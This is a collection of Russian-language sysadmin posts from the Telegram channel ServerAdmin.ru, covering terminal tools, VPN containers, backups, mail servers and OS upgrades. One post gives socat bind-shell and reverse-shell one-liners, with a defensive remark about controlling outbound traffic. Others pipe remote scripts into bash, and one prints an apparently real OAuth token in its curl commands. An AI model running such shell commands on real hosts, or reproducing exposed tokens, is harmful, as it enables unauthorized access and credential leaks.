ServerAdmin.ru
30.7K subscribers
495 photos
44 videos
19 files
2.78K links
Авторская информация о системном администрировании.

Информация о рекламе: @srv_admin_reklama_bot
Автор: @zeroxzed

Второй канал: @srv_admin_live
Сайт: serveradmin.ru

Регистрация в РКН: https://vk.cc/cG1Urj
Download Telegram
​​Пару лет назад я писал про новую программу Zellij, которая позиционировала себя как консольный мультиплексор для разработчиков. В то время она была в бете и ей откровенно не хватало некоторой функциональности, чтобы её можно было поставить вместо screen или tmux.

И вот по прошествии двух лет в ней есть всё, что в перечисленных выше программах, при этом она удобнее и функциональнее. Я рекомендую вам попробовать и оценить. Мне лично больше всего понравилось то, что все горячие клавиши сразу же перед глазами и их не надо вспоминать. С помощью alt и ctrl доступны все необходимые комбинации для быстрой навигации и некоторых функций. При этом ты не вспоминаешь наборы команд, как в screen, и не путаешь их, потому что всё перед глазами.

Расписывать особо не буду, так как это надо пробовать. Создайте вкладки, подвигайте их, поменяйте размер, расположение. Управление удобное и простое.

Вся программа это один бинарник под Rust. Автор подготовил скрипт, который скачивает версию под вашу архитектуру и запускает во временной директории. Потом удаляет. То есть вариант чисто попробовать:
# bash <(curl -L zellij.dev/launch)

Для постоянной установки можно скачать бинарник из репозитория:
https://github.com/zellij-org/zellij/releases

Под многие системы есть готовые пакеты. Список на отдельной странице. Даже под Rosa и Freebsd есть энтузиасты, которые поддерживают пакеты, а для Debian или Ubuntu не нашлось, так что через пакетный менеджер не установить. Но мне кажется это дело времени, когда они там появятся. Программа реально удобная.

Тем, у кого Linux основная рабочая машина, можно смело качать и пользоваться. Как только zellij появится в базовых репах Debian, заменю ею screen, которую я всегда ставлю на все сервера.

Отдельно отмечу для тех, кто пользуется screen и mc. В zellij нет проблемы со сворачиванием mc, когда он запущен в sreen. Меня очень раздражает эта проблема. В zellij через ctrl+g блокируешь его горячие клавиши, так как он тоже может сворачиваться по ctrl+o и спокойно работаешь во вкладке с mc, сворачивая и разворачивая его.

Сайт / Исходники / Обзор

#linux #terminal
​​Любопытный проект для поднятия VPN сервера на базе OpenVPN в пару кликов — dockovpn. Собран на базе Docker, не хранит ни логов, ни своего состояния. То есть запустили, получили конфиг пользователя, попользовались, остановили контейнер, всё удалилось. При желании, конфиги можно сделать постоянными.

Запускаете вот так:
# docker run -it --rm --cap-add=NET_ADMIN \
-p 1194:1194/udp -p 80:8080/tcp \
-e HOST_ADDR=$(curl -s https://api.ipify.org) \
--name dockovpn alekslitvinenk/openvpn

Если 80-й порт на хосте занят, выберите любой другой. Он нужен для того, чтобы после запуска контейнера на нём поднялся web сервер. Обратившись по его адресу, вы скачиваете конфиг клиента и после этого веб сервер завершает свою работу.

Далее отдаёте этот конфиг любому клиенту OpenVPN и подключаетесь. На сервере должен быть белый IP адрес. Dockovpn использует его для работы openvpn. Если не хотите, чтобы после остановки контейнера удалялся клиентский конфиг, запустите его с volume, где будут храниться конфигурации:

# docker run -it --rm --cap-add=NET_ADMIN \
-p 1194:1194/udp -p 80:8080/tcp \
-e HOST_ADDR=$(curl -s https://api.ipify.org) \
-v openvpn_conf:/opt/Dockovpn_data \
--name dockovpn alekslitvinenk/openvpn

Я посмотрел исходники проекта. Там нет ничего особенного. Обычная настройка openvpn сервера, правил iptables и генерация сертификатов с помощью easy-rsa. В репозитории есть Dockerfile и все скрипты с конфигами. Можете собрать контейнер сами, если не доверяете готовому:

# git clone https://github.com/dockovpn/dockovpn
# cd dockovpn
# # docker build -t dockovpn .

Идеальный инструмент для запуска в виртуалках с почасовой оплатой. Не задаёт никаких вопросов. Запустили, попользовались, погасили. Хотя для личного пользования можно и на постоянку оставить, если не хочется заморачиваться с установкой и настройкой. Там вполне адекватный конфиг, можно посмотреть в директории dockovpn/config. Используются DNS сервера OpenDNS. Можно их заменить на какие-то свои, если есть необходимость.

Исходники

#openvpn
На прошлой неделе я рассказывал про некоторые возможности утилиты socat. Сегодня хочу продолжить и показать ещё несколько вариантов использования. Например, вы можете открыть прямой доступ к shell через socat. Данный метод обычно используют злоумышленники, чтобы получить несанкционированный удалённый доступ к shell.

Запускаем на сервере:
# socat -d -d TCP4-LISTEN:222,reuseaddr,fork EXEC:/bin/bash
Подключаемся на клиенте к серверу:
# socat - TCP4:172.23.92.42:222
Теперь вы можете с клиента через ввод в консоли отправлять команды напрямую в оболочку bash на сервере.

Аналогично выполняется так называемый обратный shell. Это когда вы на клиенте запускаете socat в режиме прослушивания:
# socat -d -d TCP4-LISTEN:222 STDOUT
А на сервере подключаетесь к клиенту:
# socat TCP4:172.23.88.95:4443 EXEC:/bin/bash
Теперь всё, что вводится с консоли клиента, исполняется на сервере в bash. Подобная схема актуальна, когда на сервере входящие подключения не разрешены, а исходящие открыты. Подобный метод наглядно показывает, что и исходящие подключения на сервере нужно контролировать и ограничивать. Скажу честно, я редко это делаю, так как это хлопотное дело и не всегда оправдано с точки зрения затраченных усилий и результата.

Если у вас заблокирован входящий порт SSH, можете временно запустить socat и перенаправить все запросы с открытого порта на локальный порт 22:
# socat TCP4-LISTEN:222,reuseaddr,fork TCP4:172.23.92.42:22
Подключаемся клиентом:
# ssh -p 222 root@172.23.92.42
Попадаем на SSH сервер. Подобное решение быстрее и удобнее, чем настройка переадресации в iptables или изменение порта в ssh сервере. Для разовых подключений это самый простой и быстрый вариант, который не требует никаких дополнительных настроек.

Подобные вещи полезно знать не только чтобы использовать самому, но и для того, чтобы защищать свои сервера от похожих трюков.

#linux #terminal
​​Смотрите, какой любопытный проект у нас появился:
https://repka-pi.ru

Аналог Raspberry Pi. Выполнен в полностью идентичном форм-факторе, включая габаритные размеры, размеры и расположение основных интерфейсов, места и размеры отверстий для крепления.

Разработка в России. Это не переклеивание шильдиков. Компонентная база китайская, по маркировке всё видно, схемотехника и трассировка российские. Продукт коммерческой компании, без бюджетных денег. Подробное описание разработки лучше почитать от создателей.

Одноплатники в свободной продаже. Заказать можно как на сайте проекта, так и на ozon. ❗️Существенный минус - образы ОС от Raspberry Pi не подходят из-за разных схем питания. У репки свой образ Repka OS на базе Ubuntu. Также поддерживается работа ALT Linux.

Узнал про эти компы вчера вечером. Заинтересовался, почитал информацию, поделился с вами. В сети уже много информации и инструкций по этим одноплатникам. Странно, что я ни разу про них не слышал. Даже свой шаблон под Zabbix есть для мониторинга частоты и температуры процессора.

Мне прям всё понравилось. Цена конкурентная, сайт, описание, упаковка чёткие. Отзывы хорошие, в том числе на качество компонентов, сборки и пайки. Да и в целом хорошо, что подобные компании и продукты есть в России. Это позволяет нарабатывать компетенции, создавать высококвалифицированные рабочие места.

Жаль, что мне одноплатники никогда не были нужны, так бы купил. Цена платы - 7400, сразу с корпусом - 9700. Ждать доставки из Китая не надо. Озон за несколько дней привезёт в любой пункт выдачи.

p.s. Узнал о репке из рекламы в ВК. А кто-то думает, что реклама не работает. Сработала очень даже хорошо для заказчиков.

#железо #отечественное
​​Вчера рассказал про контейнер с openvpn, который позволяет в пару секунд запустить сервер с openvpn и готовым конфигом для клиента. В комментариях подсказали похожее решение для Wireguard.

Для Wireguard существует очень много готовых панелей для запуска и управления сервером, но предложенное прям совсем простое и автоматизированное. Это Docker контейнер от известного сообщества linuxserver.io, про которое я уже писал ранее. Их контейнеры отличает регулярное обновление, хорошая кастомизация через переменные, да и в целом качество. Они имеют статус Sponsored OSS и финансируются самим Докером.

Речь идёт о контейнере linuxserver/wireguard. Более подробное описание можно посмотреть на github. Готовый образ с помощью docker-compose или docker cli запускает Wireguard сервер с заданным набором клиентов и параметров. Выглядит это примерно вот так:

docker run -d \
 --name=wireguard \
 --cap-add=NET_ADMIN \
 --cap-add=SYS_MODULE `#optional` \
 -e PUID=1000 \
 -e PGID=1000 \
 -e TZ=Etc/UTC \
 -e SERVERURL=wireguard.domain.com `#optional` \
 -e SERVERPORT=51820 `#optional` \
 -e PEERS=1 `#optional` \
 -e PEERDNS=auto `#optional` \
 -e INTERNAL_SUBNET=10.13.13.0 `#optional` \
 -e ALLOWEDIPS=0.0.0.0/0 `#optional` \
 -e PERSISTENTKEEPALIVE_PEERS= `#optional` \
 -e LOG_CONFS=true `#optional` \
 -p 51820:51820/udp \
 -v /path/to/appdata/config:/config \
 -v /lib/modules:/lib/modules `#optional` \
 --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
 --restart unless-stopped \
 lscr.io/linuxserver/wireguard:latest

Число клиентов задаётся переменной PEERS и может быть указано как просто число, так и перечислено в виде списка названий через запятую, примерно так: myPC,myPhone,myTablet. Если не указать доменное имя SERVERURL, то контейнер вместо него определит внешний IP хоста и будет использовать его. Остальные параметры понятны по названию и комментарию.

Конфиги для подключения клиентов будут представлены в виде QR кодов в логе Docker, также сложены в замапленную директорию /config.

Этот контейнер супер популярен, как и в целом контейнеры от linuxserver.io. У него 50M+ загрузок. Можно использовать как для временных подключений, так и для постоянных. В основном для личного использования. Если не только для личного, я бы лучше рассматривал какие-то веб панели, например Subspace, Firezone или WireGuard Easy. Последний наиболее популярен.

#wireguard
​​Веб сервер Nginx поддерживает интеграцию с языком программирования Lua. Реализуется это с помощью специального модуля для Nginx. В стандартных пакетах с nginx чаще всего нет этого модуля. В Debian и Ubuntu его можно поставить с помощью пакета nginx-extras:
# apt install nginx-extras

Также существует веб сервер на основе Nginx и Lua — OpenResty . Он полностью совместим с Nginx и следует за его релизами. Отличает его только наличие дополнительных модулей для работы с Lua.

Чаще всего в Nginx Lua используют для борьбы с ddos атаками. Вот навороченный пример готового скрипта на lua для этого — Nginx-Lua-Anti-DDoS. Я его попробовал, работает нормально. И очень удобно. У него куча возможностей по блокировке тех или иных клиентов. С базовыми настройками он блокирует некоторых ботов, подсети некоторых хостеров и осуществляет защиту от ботов с помощью страницы заглушки на javascript (пример на картинке), которая добавляет зашифрованную куку. Потом редиректит на основную страницу и проверяет эту куку.

Не буду расписывать установку и настройку этого скрипта. Всё необходимое есть в репозитории. Я немного повозился, но всё настроил. Если вас донимают какие-то боты, попробуйте, должно помочь. Скрипт позволяет в одном месте работать со всеми ограничениями и настройками, что удобно. Если не нужен, можно очень быстро его отключить. Все настройки прокомментированы в самом скрипте.

По теме nginx и lua очень много всего гуглится, если искать по словам nginx lua antiddos. Вот ещё пару примеров:
⇨ LUA в nginx: слегка интеллектуальный firewall
⇨ Защита от DDoS на уровне веб-сервера

Кстати, CloudFlare как раз и осуществляет свою защиту на базе Lua с помощью веб сервера OpenResty. Или осуществлял. Сейчас может уже на что-то другое перешли. Так что если работаете с веб серверами и не используете Lua, обратите на него внимание. Очень многие вещи с его помощью делать удобно.

#nginx #webserver
Небольшая справочная заметка, которую имеет смысл сохранить. Официальные списки IP адресов Google и Yandex.

📌 Google:
txt - https://www.gstatic.com/ipranges/goog.txt
json - https://www.gstatic.com/ipranges/goog.json

📌 Yandex:
html - https://yandex.ru/ips

У гугла чётко сделано, можно сразу готовый список брать и использовать. У яндекса только в html. Надо парсить либо вручную обновлять. Меняется редко.

Когда настраиваете какие-то блокировки на веб сервере с публичным сайтом, заносите IP адреса поисковиков в отдельные списки и разрешайте доступ, чтобы ненароком не заблокировать поисковых ботов или какие-то другие службы, влияющие на ранжирование. Понятно, что тут всё подряд под этими IP, но лучше перебдеть, чем недобдеть, пытаясь вычленить только нужное.

#webserver
​​Смотрите, какая интересная коллекция приёмов на bash для выполнения различных обработок строк, массивов, файлов и т.д.:

pure bash bible
https://github.com/dylanaraps/pure-bash-bible

Вообще не видел раньше, чтобы кто-то подобным заморачивался. Тут смысл в том, что все преобразования производятся на чистом bash, без каких-то внешних утилит, типа sed, awk, grep или языка программирования perl. То есть нет никаких внешних зависимостей.

Покажу на паре примеров, как этой библиотекой пользоваться. Там всё реализовано через функции bash. Возьмём что-то простое. Например, перевод текста в нижний регистр. Видим в библиотеке функцию:

lower() {
printf '%s\n' "${1,,}"
}

Чтобы её использовать в скрипте, необходимо его создать примерно такого содержания:

#!/bin/bash
lower() {
  printf '%s\n' "${1,,}"
}
lower "$1"

Использовать следующим образом:
# ./lower.sh HELLO
hello

Примерно таким образом можно работать с этой коллекцией. Возьмём более сложный и прикладной пример. Вычленим из полного пути файла только его имя. Мне такое в скриптах очень часто приходится делать.

#!/bin/bash
basename() {
  local tmp
  tmp=${1%"${1##*[!/]}"}
  tmp=${tmp##*/}
  tmp=${tmp%"${2/"$tmp"}"}
  printf '%s\n' "${tmp:-/}"
}

Используем для примера:
# ./basename.sh /var/log/syslog.2.gz
syslog.2.gz

Понятное дело, что пример синтетический, для демонстрации работы. Вам скорее всего понадобится вычленять имя файла в большом скрипте для дальнейшего использования, а не выводить его имя в консоль.

Более того, чаще всего в большинстве дистрибутивов Unix будут отдельные утилиты basename и dirname для вычленения имени файла или пути директории, в котором лежит файл. Но это будут внешние зависимости к отдельным бинарникам, а не код на bash.

Этот репозиторий настоящая находка для меня. Мало того, что тут в принципе очень много всего полезного. Так ещё и реализация на чистом bash. Плохо только то, что я тут практически не понимаю, что происходит и как реализовано. С применением утилит мне проще разобраться. Так что тут только брать сразу всю функцию, без попытки изменить или написать свою.

#bash #script
Media is too big
VIEW IN TELEGRAM
▶️ Когда речь заходит о юмористических видео, неизменно всплывает в комментариях Веселенький денек у сисадмина (The Website is Down). Кто не смотрел, завидую. Сам пересмотрю в очередной раз.

Возможно не все знают, но авторы этого видео снимали и другие ролики. Они похуже самого первого, но посмотреть можно.

The Website is Down #2: Excel Hell
https://www.youtube.com/watch?v=1SNxaJlicEU

🔥The Website is Down #3: Remain Calm
https://www.youtube.com/watch?v=1XjKnxOcaO0

The Website is Down Episode #4: Sales Demolition (NSFW)
https://www.youtube.com/watch?v=v0mwT3DkG4w

Episode #4.5: Chipadmin
https://www.youtube.com/watch?v=s8QjArjcjbQ

#юмор
​​Некоторое время назад вернулся к использованию RSS. Стал выбирать читалку для этого дела. Перепробовал кучу известных сервисов и приложений, а пользоваться в итоге стал Thunderbird. Я давно и постоянно использую её для работы с почтой. Случайно узнал, что там есть встроенный RSS ридер. Он мне показался вполне удобным, так что перетащил все ленты туда.

Не могу сказать, что в Thunderbird всё очень удобно, но так как всё равно её использую, то нормально. Если кто-то тоже будет выбирать отдельное приложение, то могу порекомендовать QuiteRSS. Мне она понравилась больше всего. Она каким-то образом умеет находить прямую ссылку на RSS на сайте, даже если сам её найти не можешь. Не знаю, как она это делает. Когда не могу найти RSS ленту, скармливаю ссылку сайта в QuiteRSS, а потом уже url ленты в Thunderbird добавляю.

Если захотите в RSS добавить Telegram каналы, то для этого можно воспользоваться сервисом https://rsshub.app. Ссылка на мой канал будет такой:
⇨ https://rsshub.app/telegram/channel/srv_admin
Причём этот сервис можно развернуть и у себя. Я писал когда-то о нём. С его помощью можно обернуть контент в RSS, если у него нет готового потока для этого.

#разное
​​Давно не поднимал тему обычных бэкапов, так как всё более ли менее известное уже упоминал на канале. Посмотреть можно по тэгу #backup. Но сегодня у меня есть кое-что новое в том числе и для меня самого.

Есть известная и популярная консольная программа для бэкапа в Linux — borg. Основные возможности следующие:
простая установка, есть в репозиториях
# apt install borgbackup
поддержка дедупликации
работает по ssh, без агентов
бэкапы монтируются с помощью fuse

В общем, это такая простая и надёжная утилита, которую можно сравнить с rsync по удобству консольных велосипедов, только с хранением файлов не в исходном виде, а в своих дедуплицированных архивах. Очень похожа на restic.

Так вот, для borg есть обёртка в виде borgmatic. С её помощью можно описывать бэкапы для borg в формате yaml. Это упрощает и делает более универсальной настройку бэкапов. С помощью borgmatic можно полностью описать все параметры бэкапа в едином конфиге, а не ключами запуска, как это делается в оригинальном borg. Сразу настраиваем источники, исключения, время жизни архива и т.д.

Вот основные возможности borgmatic, расширяющие функциональность borg:
сохранение бэкапа сразу в несколько репозиториев;
поддержка хуков и оповещений на события бэкапа (успешно, ошибка и т.д.);
поддержка хуков на pre и post события бэкапа;
встроенная поддержка создания дампов баз данных (PostgreSQL, MySQL/MariaDB, MongoDB, и SQLite);
возможность передачи секретов (пароль архива, доступ к БД) через переменные.

Borgmatic написан на python, поставить можно через pip:
# pip3 install borgmatic
Пример использования можно посмотреть в скринкасте. Если нравится borg, то не вижу смысла не использовать borgmatic. С ним банально удобнее.

Сайт / Исходники

Напомню, что все бесплатные программы для бэкапа, которые я упоминал на канале, собраны для удобства в единую статью на сайте:
https://serveradmin.ru/top-12-besplatnyh-programm-dlya-bekapa

#backup
​​Небольшой полезный сайт в закладки. Если хотите узнать, когда кончается поддержка того или иного программного продукта, то проще и быстрее всего зайти на сайт endoflife.date. Тут прям всё есть в одном месте, и софт, и операционные системы.

Пишем в поиск CentOS и видим время окончания поддержки последних версий. Напомню, что 7-я версия всё ещё поддерживается. Сайт нам это подсказывает: Ends in 11 months (30 Jun 2024). Частенько бывает, надо посмотреть, когда EOL какой-нибудь версии PHP. До сих пор активно используемая версия 7.4 уже больше года не поддерживается: Ended 7 months ago (28 Nov 2022).

В общем, тут есть всё, в одном месте и удобно оформлено: debian, proxmox, mysql и т.д. Сайт однозначно в закладки. Его, кстати, берут за основу многие программы по проверки актуальности версий пакетов, контейнеров с программами и т.д.

#security
​​На днях потратил кучу времени, чтобы настроить загрузку файлов на Яндекс.Диск через REST API. Больше всего провозился с настройкой доступа и получением токена. Текущего личного кабинета и документации недостаточно, чтобы успешно выполнить задачу. Пришлось разбираться. У Яндекс.Диска очень дешёвое хранилище. Активно его использую и для себя, и по работе.

1️⃣ С этим этапом я провозился больше всего. Если посмотреть документацию, то там предлагают пойти по ссылке https://yandex.ru/dev/oauth/ и создать приложение. Но в созданном через ЛК приложении у вас не будет возможности указать права для Яндекс.Диска. Это какой-то косяк очередного обновления сервиса. Раньше этой проблемы точно не было, так как я много раз получал токены для других нужд.

Правильная ссылка — https://oauth.yandex.ru/client/new По ней сразу можно создать приложение с нужными правами. Нужны будут следующие права:
 Доступ к папке приложения на Диске
 Доступ к информации о Диске

2️⃣ После создания приложения получите для него токен. Для этого откройте в браузере ссылку: https://oauth.yandex.ru/authorize?response_type=token&client_id=717284f34ab94558702c94345ac01829
В конце подставьте свой client_id от созданного приложения.

3️⃣ Прежде чем отправить файл в Яндекс.Диск, нужно получить ссылку для загрузки. Сделаем это с помощью curl:

curl -s -H "Authorization: OAuth y0_AgAAAAAAGk3WAAoqUQAAAADngUZDvsZq_dLLQSCfcGfddRqo5ETE25k" https://cloud-api.yandex.net:443/v1/disk/resources/upload/?path=app:/testfile.gz&overwrite=true

y0_AgAAAAAAGk3WAAoqUQAAAADngUZDvsZq_dLLQSCfcGfddRqo5ETE25k —  ваш токен

app:/testfile.gz — путь, куда будет загружен файл testfile.gz. В таком формате пути у вас в корне диска будет директория Приложения, в ней директория с именем приложения, а в ней уже файл.

В ответ вы получите url для загрузки.

4️⃣ Используя полученный url, загружаем файл:

curl -s -T ~/testfile.gz -H "Authorization: OAuth y0_AgAAAAAAGk3WAAoqUQAAAADngUZDvsZq_dLLQSCfcGfddRqo5ETE25k" https://uploader6g.disk.yandex.net:443/upload-target/20230711T030316.348.utd.cbcacvszdm46g8j68kttgwnuq-k6g.8149437

Теперь всё это можно обернуть в какой-то скрипт в зависимости от ваших потребностей. Я свой скрипт не буду приводить, он слишком длинный. Примеры можете посмотреть в статье Backup с помощью Yandex Disk REST API. Там подробно расписаны несколько вариантов.

#bash #backup
​​Рекомендую очень простой и удобный портал для управления запущенными сервисами на Linux — Runtipi. Он позиционирует себя для домашнего использования, что подтверждает набор сервисов. Позволяет очень просто и быстро запускать приложения. А тем, кто с Linux на ВЫ, позволит без особых усилий пощупать руками его возможности в плане использования готовых сервисов.

По своей сути Runtipi обычная веб панель для запуска Docker контейнеров. У неё минимум возможностей и настроек. Есть магазин приложений, которые устанавливаются в пару кликов. Каждое приложение запускается на своём порту, а вы с помощью дашборда Runtipi легко их открываете, запускаете, устанавливаете, делаете базовую настройку, обновляете.

Я развернул у себя и запустил, попробовал. Реально удобно. Под капотом обычный Docker и контейнеры, которые пишет не сам автор, а использует готовые либо от разработчиков, либо от каких-то доверенных издателей, типа linuxserver.io.

Список поддерживаемых приложений можно посмотреть на отдельной странице. Сейчас их там 132 штуки. Некоторые примеры, про которые я писал: Adguard, Pi-Hole, Duplicati, File Browser, Gitea, Grafana, Joplin Server, Minio, n8n, Nextcloud, Portainer, Revolt Chat, Syncthing, Uptime Kuma, ZeroTier, Wireguard.

Все эти приложения легко развернуть, попробовать, удалить и т.д. Я хотел быстренько попробовать клиента для ChatGPT (там есть для него приложение). К сожалению, доступ к API у меня был заблокирован. Возвращает 404 ошибку. Похоже надо прокси использовать. Подскажите, кто как работает с ChatGPT с территории РФ.

Сайт / Исходники

#docker #linux
Я неоднократно получал вопрос от тех, кто настраивал почтовый сервер по моей статье, о том, как закрыть почтовые алиасы от спама. Поясню, о чём идёт речь.

Допустим, у вас есть почтовый алиас all@firma.ru, куда входят все сотрудники компании. Их может быть очень много. Подобные алиасы удобно использовать для рассылок внутри компании. Обычно делаю общий алиас для всей компании и для каждого отдела. Остальное уже по потребностям.

Подобные адреса очень удобно использовать спамерам. Отправил одно письмо на all@firma.ru и его получили все сотрудники. Логично было бы ограничить возможность отправки на эти адреса. Я в своё время сам разбирал эту задачу и придумал решение. Нигде его не записал, поэтому каждый раз приходилось вспоминать, как я делал. Так что решил хотя бы заметкой оформить.

Чем мне нравится postfix, так это своей гибкостью и механизмом restrictions, на основе которых можно много всего придумать. Я задачу решил так. Взял параметр smtpd_recipient_restrictions и добавил туда дополнительную проверку:

.....................................
smtpd_recipient_restrictions = permit_mynetworks,
permit_sasl_authenticated,
check_recipient_access hash:/etc/postfix/maillist_access
..................................
Это строки из конфигурационного файла postfix main.cf. Текстовый файл maillist_access выглядит примерно так:
all@firma.ru REJECT
Одна строка, один адрес.

Суть тут в чём. Мы в ограничениях получателя указываем, что люди из mynetworks и sasl_authenticated не имеют никаких ограничений на отправку. Это все люди из белых списков локальных сетей (не рекомендую их использовать, только в крайних случаях) и прошедшие аутентификацию, то есть наши сотрудники и пользователи почтового сервера. А все остальные попадают на проверку check_recipient_access, где в файле указано действие для получателя all@firma.ru — давать REJECT. Вот и всё.

Основное неудобство в том, что файл maillist_access придётся заполнять вручную. Если это критично, то можно и автоматизировать каким-то образом. Например, настроить проверку из базы mysql, а там завести какую-то отдельную таблицу для таких алиасов, в которую по какому-то признаку скрипт будет перетаскивать записи из общей таблицы алиасов. Например, по наличию какого-то слова в описании. У меня не было задачи с автоматизацией, поэтому не занимался вопросом. Массовых алиасов не так много, можно и вручную один раз составить список.

Возможно есть какое-то другое решение этой задачи, может быть проще и удобнее. Я настроил так и везде использовал.

#postfix #mailserver
​​Я регулярно читаю рассылку от компании Onlyoffice. Кто про них не знает, поясню, что это компания с российскими корнями, которая разработала собственный движок для работы с документами онлайн, а также платформу для совместной работы. Яндекс в своих онлайн документах использует их движок. Также у них есть бесплатные десктопные редакторы, совместимые с документами Microsoft Office.

У них активно ведётся доработка, обновление продуктов, а также выпуск новых. Например, недавно появился сервис DocSpace (selfhosted версии пока нет, но обещают) для создания комнат с набором документов для совместной работы, доступ к которым можно настраивать.

Onlyoffice имеет некоторые продукты с открытым кодом, которые можно развернуть у себя и успешно использовать. К сожалению, они всё это замаскировали на сайте. Если не знаешь, где и что искать, то можешь даже не догадаться, что оно есть. Ну и с инструкциями по установке этих продуктов тоже всё очень запутанно, так что разобраться с нуля трудно. Поэтому и решил сделать заметку, чтобы тем, кому всё это нужно, смог бы быстро установить и попробовать продукты.

Сразу приведу ссылки, чтобы вы могли сами посмотреть, о чём идёт речь:
Страничка продукта ONLYOFFICE Workspace Community
Инструкции по ручной установке и запуску в Docker
Общая инструкция по установке ONLYOFFICE Workspace

Можете сами оценить ссылки с инструкциями. Там сходу как-то трудно понять, что тебе надо использовать, когда ты хочешь запустить у себя бесплатную версию. Так что если хотите попробовать портал для групповой работы с онлайн редактором документов, следуйте простой инструкции:
# wget https://download.onlyoffice.com/install/workspace-install.sh
# bash workspace-install.sh
На вопрос установки через Docker ответьте утвердительно, а на запрос установки почтового сервера ответьте отказом. В общем случае не рекомендую ставить почтовый сервер в составе Workspace, так как в этом нет большого смысла. Лучше поднять его отдельно или использовать внешний сервер. А в Workspace можно подключать ящики по imap и отправлять по smtp. Там полноценный веб клиент есть.

❗️Основное ограничение community версии портала — 20 одновременных подключений к серверу работы с документами. Общее количество пользователей не ограничено. Достаточно солидный запас. Коллектив в 40-50 человек может спокойно работать с этим сервером, если будет закрывать документы, когда они не нужны.

После установки идёте по IP адресу сервера и выполняете начальную настройку. Если в процессе тестирования поймёте, что продукт вам подходит, тогда уже можно более детально разобраться в установке: поменять все дефолтные учётки в скриптах, вынести отдельные директории на нужные диски и т.д. Есть возможность разворачивать продукт через deb пакеты, но я не рекомендую. Лучше в Docker. Это надёжнее и проще в обновлении. У onlyoffice куча зависимостей и поддерживать всё это довольно хлопотно.

Также в прод рекомендую ставить без TLS, а шифрование настроить на Nginx в режиме proxy_pass. Так тоже проще настраивать и потом управлять доступом.

У меня есть статья Установка и настройка Onlyoffice. Она сильно устарела. Когда писал её, продукт ONLYOFFICE Workspace, который актуален сейчас, назывался по-другому — ONLYOFFICE Community Server. В названиях пакетов и репозиториях сохранилось это название, что дополнительно добавляет путаницы.

Из бесплатных редакторов документов ONLYOFFICE мне нравится больше всего. Я его успешно использую уже лет 5-6. Сейчас есть 2 портала в управлении. Так что можно задавать конкретные вопросы, если что-то интересует.

#onlyoffice #docs
У меня на канале было много заметок на тему Help Desk систем. Я рассматривал в основном бесплатные продукты. При этом в комментариях не раз видел упоминание и советы посмотреть Okdesk. Причём не только у себя, но и в других каналах.

Не знаю, сколько времени я бы откладывал знакомство, но разработчики сами на меня вышли и предложили написать обзор в виде полноценной статьи. Я согласился, написал и предлагаю вам познакомиться:

Обзор Okdesk: удобная help desk система с широкими возможностями

Статья в основном обзорная, так как сервис продаётся по подписке (saas). Запустить у себя в работу и проверить мне банально негде. Я изучил личный кабинет, описание, документацию. На основе этого написал статью.

Основные возможности системы:
многофункциональная тикет-система (мультиканальный приём заявок, клиентский портал, мобильное приложение, API и т.д.)
автоматизация процессов (назначение ответственных, чек-листы для заявок, парсинг email и т.д.)
модуль CRM (база клиентов, договоров, оплат и т.д.)
аналитика и отчёты (десятки готовых отчётов, интеграция с Power BI и Яндекс Data Lens)
учёт договоров, платежей, стоимости работ
шаблоны документов и автозаполнение
календарное планирование
учёт трудозатрат

Okdesk — отличное решение для ИТ-аутсорсинговых компаний. Изначально под неё она и создавалась. Но сейчас может быть адаптирована и под другие отрасли: собственный ИТ отдел компании, техническая поддержка продукта, сервиса и т.д.

Моё краткое резюме такое. Okdesk предлагает удобный сервис с простым, интуитивно понятным интерфейсом и очень широкими возможностями. Авторы программы — разработчики больших, корпоративных продуктов для решения задач технической поддержки. Весь свой опыт они перенесли в свой сервис, который разработали с нуля. Из-за гибкой ценовой политики этот продукт доступен малому и среднему бизнесу. Стартовый тариф - 6000 р. в месяц. За эти деньги вы получите удобную Help Desk систему под ключ для 5 сотрудников техподдержки.

#helpdesk #отечественное
​​В нашем IT сообществе до сих пор популярен миф на тему того, что Astra Linux это какая-то поделка на базе Debian с переклеенными шильдиками и устаревшими пакетами. Я сам хоть и не использую нигде Астру, но подобное слушать не люблю, потому что это неправда. Сейчас поясню на пальцах, что такое ОС Astra Linux.

Сейчас существует только один дистрибутив Астры - Astra Linux Special Edition. У него есть несколько релизов, в названиях которых присутствуют города России: Орёл, Воронеж, Смоленск. Они отличаются наличием сертификации и системы мандатного управления доступом. В Воронеже и Смоленске она есть. Что это за система?

Институт системного программирования им. В.П. Иванникова Российской академии наук (ИСП РАН) разработал мандатную сущностно-ролевую модель управления доступом и информационными потоками в ОС семейства Linux. Назвал её МРОСЛ ДП-модель. Она описана на языке формального метода Event-B. Программная реализация модели называется PARSEC. Она используется в Astra Linux Special Edition. PARSEC — это условно аналог AppArmor и SELinux, которые реализуют другие математические модели. Подробное описание и сравнение PARSEC, AppArmor и SELinux можно почитать в статье на хабре.

Для работы с системой PARSEC весь софт патчится для поддержки мандатного доступа. То есть всё, что есть в репозиториях Астры. После осознания этого становится понятно, зачем им своё графическое окружение Fly. Его написали для того, чтобы не зависеть от других продуктов. Регулярно патчить Gnome или KDE очень трудозатратно. Также становится понятно, почему такой устаревший софт в репозиториях. Регулярное обновление требует больших ресурсов. Разработчики астры выполняют его по своим регламентам с некоторой периодичностью.

Подводя итог можно сказать, что компания Astra выполняют серьезную самостоятельную работу по разработке и поддержке своих операционных систем, содержащих самостоятельно разработанные средства защиты информации.

#linux #отечественное
Дошли наконец-то руки проверить обновление Proxmox VE с 7 на 8-ю версию. Написал сразу статью, так как серверов таких много, обновлять рано или поздно придётся.

https://serveradmin.ru/obnovlenie-proxmox-7-do-8

Нюансов вообще никаких нет. Всё проходит штатно. Обращаю внимание только на один момент. Я и сам много раз сталкивался, и меня в комментариях постоянно спрашивали. Если увидите во время обновления ошибку:

Upgrade wants to remove package 'proxmox-ve'

То не пугайтесь. Она возникает у тех, кто накатывал Proxmox поверх Debian. Я часто это делаю, чтобы поставить гипервизор на mdadm. Так что ошибку эту знаю. Она возникает из-за конфликта пакетов proxmox-ve и linux-image-amd64, который остаётся от Debian. Его нужно просто удалить. Этот пакет относится к ядру Linux, а у Proxmox VE он свой, поэтому оригинальный не нужен.

# apt remove linux-image-amd64

Имя пакета может различаться из-за разных версий ядра.

Изменений в новой версии немного. Так что спешить с обновлением не обязательно. Как минимум, можно подождать выхода 8.1.

#proxmox
​​▶️ Для тех, кто не в курсе, расскажу, что на официальном канале дистрибутива SUSE есть классная подборка пародийных музыкальных клипов очень хорошего качества. Вот весь плейлист:

https://www.youtube.com/watch?v=Z9pCb110s7M&list=PL6sYHytyKN2-X93TurF3JptW8qSVm0DzA&index=1

